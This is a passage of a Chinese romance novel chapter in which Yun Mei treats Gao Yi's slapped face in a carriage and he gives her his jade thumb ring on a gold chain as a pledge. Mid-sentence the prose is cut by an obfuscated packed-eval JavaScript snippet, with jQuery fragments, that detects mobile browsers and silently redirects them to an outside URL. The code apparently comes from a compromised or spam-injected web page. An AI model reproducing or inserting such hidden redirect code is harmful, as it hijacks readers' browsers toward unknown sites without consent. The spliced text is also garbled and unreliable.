马车“哒哒”疾驰,车内寂静,高翊微微向云湄倾身,面容红肿,像受伤的孩童向长辈展示伤口,等着她的安抚。
云湄看着他脸上两个清晰巴掌印,心中震惊还未散去,他这副巴巴等着的模样,她更没胆量忤逆。
“何首乌,何首乌,”云湄心里念叨着,倾身向前,小小声音在高翊耳边低低唤了声,“夫君”。
好似车里还有第三人听着看着。
这么近的距离还没有红脸,进步了!云湄在心里夸赞自己,冷不防高翊倏的抬眸。
“嗯”,他轻轻应了一声,长长眼睫扇了扇,嘴角漾起了笑,眸光似玉盏里的清酒,清香带着点醉意。
脸挨着脸不过寸许距离,云湄对上这突如其来一缕醉意,好似自己喝了一盅似的,脸上渐渐显出酡红。
“疼不疼?”云湄目光赶紧转移到他的脸颊,问道。
“很疼。”
刚刚下了狠手,高翊脸上火辣辣的,经云湄这么一问,更觉烧脸,他真觉得疼,那痛感和刀剑伤挫伤很不一样,在神经和骨头间反复拉扯呢。
云湄:“……”
她不过随口一问,这会儿得小心伺候他了吧。
“这车里有药吗,脸有些肿呢。我带了药,在我那辆马车里。”
高翊想了想,掀起床榻上垂到床沿的锦毯,显出几个抽屉。他一一拉开抽屉看了看,找出来一个白色瓷瓶,瓶胎中间贴着红纸写着药名。
“这个。”他把瓷瓶递给云湄,动作一气浑成。那举动流畅得好似她给他搽药天经地义。
云湄也没在意,小时候就喜欢给干活跌打损伤的老仆们搽药,后来母亲病了,她搽药敷药服侍母亲极为熟练。
她把瓶塞拔开,鼻子凑近瓶口闻了闻,然后笑起来:“这个味道挺香,是上好的药。”顺手就把瓷瓶递到高翊鼻尖,想他也闻一闻。
伸出去才想到,“晏琅”御史中丞,吃穿用度哪样不是顶尖,哪里像她乡下姑娘没见过世面,这样想着刚刚伸出的手旋即收了回来。
“嗯?”高翊微微扬眉,一把抓住她握着瓷瓶的手,鼻尖凑过去,深深嗅了嗅。
云湄红绯刚刚褪下的脸隐隐又有了点红晕。
高翊看着这样一张芙蓉面,第一次生出了捉狭的快乐。
心里开心脸上藏不住,他抿着唇无声地笑。
见云湄的脸越来越红,他识趣地闭上眼,躬身往她的方向凑近了些,吩咐道:“搽药吧。”
云湄这才自若了点,她红着脸一边搽药一边道:“六郎不想我做什么,和我好好说,我又怎会不依六郎呢。”
“幸好无人看到,不然多损你的威严。”
“嗯。”高翊漫不经心地应着,心想他再不会做伤她心的事。
他的脸很红很烫,云湄指腹蘸着药膏触碰到高翊脸颊时,猜测他应该没多舒服,可他脸上表情似沐浴春风里享受明媚春光,又像冬雪夜浸泡在汤池,一脸沉溺。
云湄心思便有点活。
“你这样既伤着自己,又吓着我了,下次可别这样了。”
“嗯。”
“那你下次还自伤,怎么办?”
“我不会。”
“你下次还这样,还吓我,那就允我一件事以示惩罚。”
高翊睁开了眼,打量地眼神看着云湄。
他的眼神似鹰隼搜捕猎物,云湄被他看得心里发慌,刚萌出的那点儿心思立刻被掐灭,她嘿嘿笑道:“六郎堂堂男儿一诺九鼎,肯定说不会就绝不会。”
高翊神色却变得端正,似乎思考着什么:“筱筱想让我做什么事?”
云湄不过见他心情好想为自己搏点便益,以后说不定用得上,即便他的话像她一样做不得真,但哪天他心情好说不定呢,四品御史中丞轻启檀口,都是普通布衣身上一座山。
可他一脸严肃地问起来,倒让云湄莫名心虚。
云湄道:“没什么事,我顺口而已。”
高翊却不怎么相信,生活顺当美满的人根本不会有求人的念头,只有遇到事儿的时候这种想法才会时不时冒出来。
他追问:“叔叔一家如何欺负你的?”
“没有,叔叔待我很好。你别想了,我真的随口说说。”
云湄发现,不能和“晏琅”耍心眼,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362034|183727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会像鹰隼狩猎一样,不把猎物噙到嘴里绝不罢休,她可经不住专门审查官员的人精刨根问底。
“搽好了,”云湄岔开话题,“隔会儿再搽,希望下车时就能好。”
“行,我答应你,”高翊应道,“我再做同样的事就应你一个承诺。”
他都想立刻再来一下,看看云湄所求何事。
“真答应了?”云湄意外,她本以为他的承诺会极为谨慎。
“嗯,”高翊侧身在妆奁盒里翻翻找找,翻出来一根细细金链。他把自己手指上的玉扳指取了下来,挂在了这根金链上,然后看着云湄道:“戴上。”
“什么?”云湄不明白。
高翊已站起身,要亲手给云湄戴上这根挂上他玉扳指的金链,云湄虽不明白,但也顺了他的意。
云湄低头,看看自己胸前玉扳指项链,笑着嗔怪:“不好看。”
“后面找家店铺改好看点儿,”高翊欣赏着自己的玉扳指,“就当压襟,时刻提醒我答应你的事儿。”
话音一转,高翊看向云湄:“你若愿意现在告诉我,你想让我办什么事,也可以不戴。”
玉扳指是块好料,可挂在细细金链上不伦不类,可以称得上丑,高翊目光里含有期待。
但他还是失望了,她总让他意外。
云湄垂首抚了抚胸口玉扳指,抬头笑看着他,幽幽道:“它的触感像六郎的手,甘润、细腻。”
高翊目光从云湄的脸落在那只玉扳指上,那里她白皙纤柔的手指还在轻轻摩挲着,似乎在感受某种余温。
高翊的手微不可察随之微微发颤。
他悄悄将手隐进袖口,嘴唇抿紧近乎直线,这次他没有转过脸,目光又回到云湄脸上,直直看着她,大剌剌迎着她的目光。
云湄却移开视线,低头掰弄着金链。
“不看我了?”高翊语气带着戏谑和获胜的得瑟。
“不想看,难看。”
高翊随手拿起妆奁盒里的小镜子,看了一眼后烫手似地迅速丢在一边,蓦的又挪到绣凳上,脸朝车窗看向外面风景。
脸上红印不褪他绝不回头看一眼。